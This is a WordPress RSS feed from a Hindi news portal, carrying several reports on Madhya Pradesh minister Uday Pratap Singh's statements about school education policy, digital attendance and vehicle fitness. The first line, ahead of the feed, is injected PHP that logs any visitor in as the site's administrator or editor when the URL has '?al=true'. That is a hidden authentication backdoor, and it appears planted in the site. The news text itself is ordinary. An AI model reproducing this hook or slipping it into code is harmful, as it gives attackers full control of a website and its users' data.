// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); uday – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 28 Jul 2025 13:38:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 नई शिक्षा नीति से रोजगार और कौशल विकास में बढेंगी संभावना : स्कूल शिक्षा मंत्री सिंह https://pratyushaashakinayikiran.com/?p=173923 Mon, 28 Jul 2025 13:38:00 +0000 https://pratyushaashakinayikiran.com/?p=173923 स्कूल शिक्षा मंत्री का दावा: NEP से युवाओं को मिलेगा रोजगार और कौशल विकास का नया मौका

मॉडल स्कूल छात्रसंघ का शपथ समारोह

भोपाल

स्कूल शिक्षा मंत्री उदय प्रताप सिंह ने कहा है कि देश में वर्ष 2014 के बाद शिक्षा के क्षेत्र में सबसे बड़ा बदलाव देश में लागू की गई नई शिक्षा नीति-2020 है। यह प्रधानमंत्री नरेन्द्र मोदी का शिक्षा के क्षेत्र में लिया गया महत्वपूर्ण निर्णय है। नई शिक्षा नीति से स्कूल में बच्चों का कौशल विकास और भविष्य में रोजगार की संभावनाओं को मजबूती मिलेगी। उन्होंने कहा कि मध्यप्रदेश देश के उन अग्रणी राज्यों में है, जहां नई शिक्षा नीति को निरंतर प्रभावी रूप से लागू किया जा रहा है। मंत्री सिंह सोमवार को भोपाल के मॉडल स्कूल टीटी नगर छात्र संघ के शपथ समारोह को संबोधित कर रहे थे। मंत्री सिंह ने इस मौके पर प्रतिभाशाली बच्चों को सम्मानित किया। इन बच्चों ने बोर्ड की कक्षा 12वीं और 10वीं की परीक्षा में 90 प्रतिशत से अधिक अंक हासिल किये हैं।

स्कूल शिक्षा मंत्री सिंह ने प्रदेश के स्कूलों की गुणवत्ता की चर्चा करते हुए कहा कि राज्य में 75 हजार स्कूल मॉडल, एक्सीलेंस और पीएमके रूप में सर्व-सुविधा के साथ विकसित किये जा चुके हैं। बच्चों को विश्व-स्तरीय अध्ययन सुविधा उपलब्ध कराने के लिये करीब 300 स्कूल सांदीपनि विद्यालय के रूप में संचालित हो रहे हैं। उन्होंने कहा कि रतलाम के सांदीपनि स्कूल ने तो दुनिया के श्रेष्ठ स्कूलों में अपना स्थान बनाया है। यह मध्यप्रदेश के लिये गौरव की बात है। मॉडल स्कूल टीटी नगर की चर्चा करते हुए मंत्री सिंह ने कहा कि यह स्कूल अपनी उत्कृष्टता के कारण प्रदेश में अपना अलग स्थान रखता है। इस स्कूल के पढ़े बच्चों ने राष्ट्रीय और अंतर्राष्ट्रीय स्तर पर ख्याति प्राप्त की है।

डिजिटल अटेंडेंस

स्कूल शिक्षा मंत्री ने बताया कि प्रदेश के सरकारी स्कूलों में लागू डिजिटल अटेंडेंस व्यवस्था शिक्षकों के लिये भी सुविधाजनक है। शिक्षक डिजिटल प्लेटफार्म से अपने अवकाश की स्वीकृति, लेखा संबंधी और समस्याओं को भी दर्ज करा सकते हैं। इस डिजिटल प्लेटफार्म को भोपाल के कमांड सेंटर से संचालित किया जायेगा। उन्होंने कहा कि स्कूल शिक्षा विभाग जल्द ही अनुकंपा नियुक्ति नीति भी घोषित करेगा। इसके माध्यम से एक निश्चित समय-सीमा में दिवंगत शिक्षकों के परिवार के नियुक्ति संबंधी प्रकरणों को हल किया जायेगा।

कार्यक्रम को विधायक भगवान दास सबनानी ने भी संबोधित किया। मॉडल स्कूल की प्राचार्य श्रीमती रेखा शर्मा ने गुणवत्ता के क्षेत्र में स्कूल को प्राप्त श्रेष्ठ पुरस्कारों के बारे में जानकारी दी। उन्होंने बताया कि छात्रसंघ के चुनाव के जरिये बच्चों को चुनाव प्रणाली और लोकतंत्र के महत्व के बारे में बताया गया है। बच्चों ने इस मौके पर देश की विविधता भरी संस्कृति पर केन्द्रित आकर्षक सामूहिक नृत्यों को प्रस्तुति दी। कार्यक्रम में क्षेत्र की पार्षद श्रीमती अनीता अनेजा, उप प्राचार्य आर.के. श्रीवास्तव, शिक्षकगण और परिजन भी मौजूद थे। कार्यक्रम का संचालन शिक्षक डॉ. शबनम खान ने किया।

 

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स्कूल शिक्षा की गुणवत्ता के लिये विद्यार्थियों से जुड़े सभी कार्य निर्धारित कैलेण्डर के अनुसार पूरे हों : स्कूल शिक्षा मंत्री सिंह https://pratyushaashakinayikiran.com/?p=149538 Thu, 17 Apr 2025 12:40:00 +0000 https://pratyushaashakinayikiran.com/?p=149538 भोपाल

स्कूल शिक्षा मंत्री उदय प्रताप सिंह ने कहा है कि प्रदेश में स्कूल शिक्षा की गुणवत्ता के लिये विद्यार्थियों से जुड़े सभी कार्य निर्धारित कैलेण्डर में पूरा किया जाना सुनिश्चित किया जाये। उन्होंने शिक्षकों की उपस्थिति के लिये ऑनलाइन व्यवस्था की प्रशंसा की। मंत्री सिंह ने कहा कि ऑनलाइन शिक्षकों की अटेंडेंस को पायलट प्रोजेक्ट के तौर पर उज्जैन और नरसिंहपुर जिले में तत्काल लागू किया जाये। मंत्री सिंह गुरूवार को लोक शिक्षण संचालनालय में विभागीय अधिकारियों की बैठक को संबोधित कर रहे थे। बैठक में सचिव स्कूल शिक्षा संजय गोयल, आयुक्त लोक शिक्षण श्रीमती शिल्पा गुप्ता, संचालक राज्य शिक्षा केन्द्र हरजिंदर सिंह, पाठ्य पुस्तक निगम के एमडी विनय निगम विशेष रूप से उपस्थित थे।

स्कूल शिक्षा मंत्री सिंह ने विभाग में लंबित अनुकंपा नियुक्ति के प्रकरणों के निराकरण में संवेदनशील रूख रखने के निर्देश दिये। उन्होंने अधिकारियों से कहा कि स्कूल शिक्षा से जुड़ी केन्द्रीय योजनाओं में राज्य को मिलने वाली राशि को प्राप्त करने के लिये विशेष पहल की जाये। मंत्री सिंह ने कहा कि विभाग में ऐसी व्यवस्था की जाये कि सेवानिवृत्त होने के बाद शिक्षकों और कर्मचारियों के स्वत्वों का भुगतान समय पर हो जाये। जन-प्रतिनिधियों से प्राप्त होने वाले पत्र पर विभाग की ओर से शीघ्र कार्यवाही पत्र भेजने की व्यवस्था की जाये।

योजना के क्रियान्वयन की स्थिति

बैठक में बताया गया कि शैक्षणिक सत्र 2025-26 में 82 लाख विद्यार्थियों को पाठ्‌य पुस्तकों का वितरण होना है। विभाग द्वारा 60 प्रतिशत पाठ्य पुस्तकों के वितरण का कार्य पूरा किया जा चुका है। कक्षा 1 से 8 तक के करीब 60 लाख विद्यार्थियों को यूनिफार्म डीबीटी के माध्यम से दिये जाने की व्यवस्था की जा रही है। बैठक में निशुल्क साइकिल, छात्रवृत्ति, लैपटॉप, स्कूटी वितरण की प्रक्रिया समय-सीमा में किये जाने की जानकारी दी गई। बैठक में माध्यमिक शाला से हाई स्कूल, हाई स्कूल से हायर सेकण्डरी स्कूल के उन्न्यन की जानकारी दी गई। उन्नयन की कार्यवाही इस वर्ष 15 जून तक पूरी कर ली जायेगी।

सचिव स्कूल शिक्षा डॉ. गोयल ने बताया कि ग्रीष्म काल में उन स्कूलों की पहचान कर ली जायेगी, जो जर्जर हो गये हैं। उनके वैकल्पिक स्थान, अतिरिक्त कक्ष निर्माण मरम्मत संबंधी कार्य प्राथमिकता के साथ किये जायेंगे। मरम्मत कार्य के लिये 149 करोड़ और अतिरिक्त कक्षा निर्माण के लिये 100 करोड़ रूपये का प्रावधान रखा गया है। बैठक में स्मार्ट क्लास, आईसीटी लेब की भी जानकारी दी गई। बैठक में बताया गया कि 45 हजार 500 हायर सैकेण्डरी, 1 लाख 62 हजार प्राथमिक शिक्षकों को टेबलैट प्रदाय किये जा चुके हैं। 75 हजार माध्यमिक शिक्षकों को टेबलैट प्रदान किये जाने की कार्रवाई की जा रही है। स्टार्च प्रोजेक्ट के अंतर्गत 52 सीएम राइज स्कूलों में रोबोटिक्स लैब की स्थापना की जा रही है। 458 पीएमविद्यालयों में अटल टिंकेरिंग लेब स्थापित की जा रही है। बैठक में फर्नीचर व्यवस्था के संबंध में भी चर्चा की गई।

 

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शिक्षा की बेहतरी के लिये स्कूलों का हो नियमित निरीक्षण https://pratyushaashakinayikiran.com/?p=131918 Mon, 17 Feb 2025 06:06:00 +0000 https://pratyushaashakinayikiran.com/?p=131918 भोपाल

स्कूल शिक्षा एवं परिवहन मंत्री उदय प्रताप सिंह ने कहा है कि शिक्षा की बेहतरी के लिये स्कूलों का नियमित निरीक्षण सुनिश्चित किया जाना चाहिये। इसके लिये जिला शिक्षा अधिकारी व्हाटसअप ग्रुप तैयार करें, जिसमें प्रतिदिन की गतिविधियों का अपडेट और निरीक्षण की रिपोर्ट तैयार की जाये। मंत्री सिंह रविवार को नरसिंहपुर में स्कूल शिक्षा विभाग की समीक्षा बैठक को संबोधित कर रहे थे। बैठक में तेन्दूखेड़ा विधायक विश्वनाथ सिंह पटेल भी मौजूद थे।

मंत्री सिंह ने कहा कि शिक्षकों के प्रशिक्षण का कैलेण्डर बनाया जाये और उसके अनुसार प्रशिक्षण की व्यवस्था की जाये। उन्होंने कहा कि लापरवाही बरतने वाले शिक्षकों के विरूद्ध सख्त कार्रवाई की जाये।

बोर्ड परीक्षा की तैयारियों की समीक्षा

स्कूल शिक्षा मंत्री सिंह ने हाईस्कूल एवं हायरसेकेण्डरी बोर्ड परीक्षाओं की तैयारी की जानकारी ली। बैठक में बताया गया कि जिले में 87 परीक्षा केन्द्रों पर बोर्ड परीक्षा संचालित होंगी। जिले में इस वर्ष 27 हजार 342 परीक्षार्थी बोर्ड परीक्षा में शामिल होंगे। मंत्री सिंह ने अधिकारियों को नकल रोकने की सख्त व्यवस्था करने के निर्देश दिये।

 

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सड़क सुरक्षा के लिए नियमित रूप से हो वाहनों की फिटनेस जाँच https://pratyushaashakinayikiran.com/?p=128767 Tue, 04 Feb 2025 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=128767 भोपाल

परिवहन मंत्री उदय प्रताप सिंह ने कहा है कि सड़क सुरक्षा को ध्यान में रखते हुए वाहनों की फिटनेस चेकिंग नियमित रूप से हो। उन्होंने कहा कि परिवहन राजस्व में वृद्धि के ठोस प्रयास किये जायें। परिवहन मंत्री सिंह सोमवार को मंत्रालय में हुई बैठक में विभागीय गतिविधियों की समीक्षा कर रहे थे। बैठक में सचिव परिवहन मनीष सिंह और परिवहन आयुक्त विवेक शर्मा भी मौजूद थे।

परिवहन मंत्री सिंह ने विभाग में रिक्त पदों पर नियुक्तियाँ करने और नई भर्तियों पर समय-सीमा में कार्य करने के निर्देश दिये। बैठक में बताया गया कि प्रदेश में रजिस्टर्ड वाहनों की संख्या लगभग 2 करोड़ 34 लाख 44 हजार के करीब है। इनमें ट्रांसपोर्ट वाहनों की संख्या 11 लाख 42 हजार 500 से अधिक है। मंत्री सिंह ने निर्देश दिये कि 15 वर्ष से अधिक पुराने वाहनों की फिटनेस प्रक्रिया को सरल किया जाये। प्रदेश में पुराने वाहनों की स्क्रेपिंग फेसिलिटी के लिये 5 रजिस्टर्ड स्क्रेपिंग फेसिलिटी सेंटर काम कर रहे हैं। इनमें भोपाल जिले में तीन और इंदौर एवं ग्वालियर जिलों में एक-एक सेंटर क्रियाशील हैं।

प्रदूषण नियंत्रण प्रमाण-पत्र

बैठक में बताया गया कि वाहनों से उत्सर्जित होने वाली गैसों से पर्यावरण को होने वाले नुकसान को रोकने के लिये प्रदूषण नियंत्रण प्रमाण-पत्र प्राप्त करना अनिवार्य किया गया है। वाहन मालिकों को सुविधा दिये जाने के उद्देश्य से पारदर्शी रूप से वाहनों के उत्सर्जन मानकों की जाँच कर ऑनलाइन प्रदूषण नियंत्रण प्रमाण-पत्र जारी किये जाने का कार्य एक अगस्त, 2024 से शुरू कर दिया गया है। वर्ष 2024 में करीब 2 लाख 60 हजार वाहनों के प्रदूषण की जाँच की गई। परिवहन मंत्री सिंह ने सभी वाहनों में हाई सिक्यूरिटी नम्बर प्लेट लगवाये जाने के निर्देश विभागीय अधिकारियों को दिये।

परिवहन आय

बैठक में बताया गया कि परिवहन विभाग में वर्ष 2024-25 में 5100 करोड़ रुपये की राजस्व आय का लक्ष्य निर्धारित है। दिसम्बर-2024 के अंत तक 3350 करोड़ रुपये की राजस्व आय प्राप्त हो चुकी है। प्रदेश में इलेक्ट्रिक व्हीकल्स की संख्या बढ़ने से विभागीय आय में कमी हुई है। बैठक में ड्रायवर ट्रेनिंग सेंटर और व्हीकल लोकेशन ट्रेकिंग डिवाइस पर भी चर्चा की गयी। परिवहन मंत्री सिंह ने इसके दायरे में अधिक से अधिक चार पहिया वाहनों को लाये जाने के निर्देश भी दिये। बैठक में इलेक्ट्रॉनिक डिटेल्ड एक्सीडेंट रिपोर्ट पर भी चर्चा की गयी।

 

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नई शिक्षा नीति से स्कूल शिक्षा में हो रहे बदलाव की जानकारी जमीनी स्तर तक पहुँचे https://pratyushaashakinayikiran.com/?p=113621 Wed, 25 Dec 2024 11:56:00 +0000 https://pratyushaashakinayikiran.com/?p=113621 भोपाल

स्कूल शिक्षा मंत्री उदय प्रताप सिंह ने कहा है कि प्रदेश में नई शिक्षा नीति-2020 के क्रियान्वयन से स्कूल शिक्षा में लगातार बदलाव आ रहा है। इन बदलाव की जानकारी जमीनी स्तर तक पहुँचाने की जरूरत है। उन्होंने शिक्षकों के माध्यम से जानकारी को बच्चों और उनके अभिभावकों तक पहुँचाने पर जोर दिया। स्कूल शिक्षा मंत्री सिंह मंगलवार को मंत्रालय में टॉस्क फोर्स की बैठक को संबोधित कर रहे थे। बैठक में अशासकीय सदस्य के रूप में रविन्द्र कन्हरे, अशोक कडेल, अखिलेश श्रीवास्तव, श्रीमती मेघा मुक्तिबोध और सचिव स्कूल शिक्षा डॉ. संजय गोयल और आयुक्त लोक शिक्षण श्रीमती शिल्पा गुप्ता मौजूद थीं।

स्कूल शिक्षा मंत्री सिंह ने स्कूलों में पढ़ाई के साथ व्यावसायिक शिक्षा पर विशेष ध्यान देने की बात कही। उन्होंने कहा कि व्यावसायिक शिक्षा पर जिन ट्रेडों पर शिक्षा दी जा रही है, उनका लगातार अपडेट किया जाना भी जरूरी है। स्कूल शिक्षा मंत्री ने कहा कि अगले शैक्षणिक-सत्र में शासकीय स्तर पर अधिक संख्या में पूर्व प्राथमिक शाला खोलने की आवश्यकता है। प्रदेश में अभी कक्षा-1 से नीचे की 4473 प्री-एजुकेशन क्लॉस में बच्चों को पढ़ाया जा रहा है। इन शालाओं में करीब एक लाख बच्चे दर्ज हैं। इन्हें पीएम पोषण भी उपलब्ध कराया जा रहा है। उन्होंने शासकीय स्कूलों को उत्सव केन्द्र के रूप में विकसित करने की बात भी कही।

राष्ट्रीय शिक्षा नीति का क्रियान्वयन

सचिव स्कूल शिक्षा डॉ. संजय गोयल ने बताया कि प्रदेश में बच्चों को शिक्षा के दिलचस्प कंटेंट मिलें, इसके लिये शैक्षणिक क्षेत्र की निजी संस्थाओं से एमओयू किया जायेगा। आयुक्त लोक शिक्षण श्रीमती शिल्पा गुप्ता ने बताया कि प्रदेश में राष्ट्रीय शिक्षा नीति के क्रियान्वयन के लिये 13 समितियों का गठन किया गया है। इन समितियों के सुझाव के आधार पर शिक्षा के गुणात्मक सुधार के लिये बेहतर से बेहतर प्रयास किये जायेंगे। उन्होंने कहा कि विद्यालयों में शिक्षकों की कमी को दूर करने के लिये विशेष अभियान चलाते हुए कक्षा-9 से कक्षा-12 तक के 17 हजार अतिशेष शिक्षकों का युक्ति-युक्तकरण और 20 हजार शिक्षकों की उच्च पद प्रभार से पदपूर्ति की गयी है।

बैठक में बताया गया कि प्रदेश में एनईपी लागू होने के बाद अब तक 50 हजार शिक्षकों की भर्ती की जा चुकी है। एनसीईआरटी के डिजिटल टीचर्स ट्रेनिंग प्लेटफार्म पर 3 लाख शिक्षकों को प्रशिक्षण दिया गया है। प्रदेश में कक्षा-1 से 8 तक के 2050 सरकारी स्कूलों की 4100 कक्षाओं को स्मार्ट क्लॉस के रूप में बदला जा रहा है। प्रदेश में करीब 2 लाख शिक्षकों की क्षमता वृद्धि के लिये टेबलेट की राशि उपलब्ध करायी गयी है।

 

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शिक्षक का दायित्व निभाना कठिन चुनौती- स्कूल शिक्षा मंत्री सिंह https://pratyushaashakinayikiran.com/?p=79699 Fri, 04 Oct 2024 17:07:00 +0000 https://pratyushaashakinayikiran.com/?p=79699 भोपाल

स्कूल शिक्षा मंत्री उदय प्रताप सिंह ने कहा है कि अच्छे समाज के निर्माण में शिक्षक महत्वपूर्ण जिम्मेदारी निभाते है। इस वजह से शिक्षक का दायित्व चुनौतीपूर्ण है। उन्होंने कहा कि प्रदेश में स्कूल शिक्षा की गुणवत्ता सुधार के लिये दीर्घ कालीन योजना बनाकर क्रियान्वयन किया जा रहा है। प्रदेश में विश्वस्तरीय सर्वसुविधायुक्त स्कूल के रूप में सीएम राईज और पीएमस्कूल प्रारंभ किये गये है। स्कूल शिक्षा मंत्री सिंह गुरूवार को सागर जिले के ग्राम जालंधर में स्कूल उन्नयन कार्यक्रम को संबोधित कर रहे थे। उन्होंने घोषणा कर बताया कि अगले शैक्षणिक सत्र से यहां पर हायर सेकण्डरी स्कूल की शुरूआत होगी। कार्यक्रम को सांसद श्रीमती माया नारोलिया, पूर्व मंत्री एवं विधायक भूपेन्द्र सिंह, विधायक शैलेन्द्र जैन और जिला पंचायत अध्यक्ष हीरा सिंह राजपूत ने भी संबोधित किया।

स्कूल शिक्षा मंत्री ने कहा कि प्रदेश में राष्ट्रीय शिक्षा नीति-2020 पर तेजी से काम किया जा रहा है। उन्होंने कहा कि समाज के प्रत्येक नागरिक की जिम्मेदारी है कि वहां अपने क्षेत्र की शाला व्यवस्था पर लगातार नजर रखें। उन्होंने शालाओं में छात्रों और शिक्षकों के कड़े अनुशासन पर जोर दिया। मंत्री सिंह ने कहा कि प्रदेश के शहरी और ग्रामीण क्षेत्रों को सुविधाजनक रूप से जोड़ने के लिये जल्द ही ग्रामीण परिवहन सेवा शुरू की जा रही है।

 

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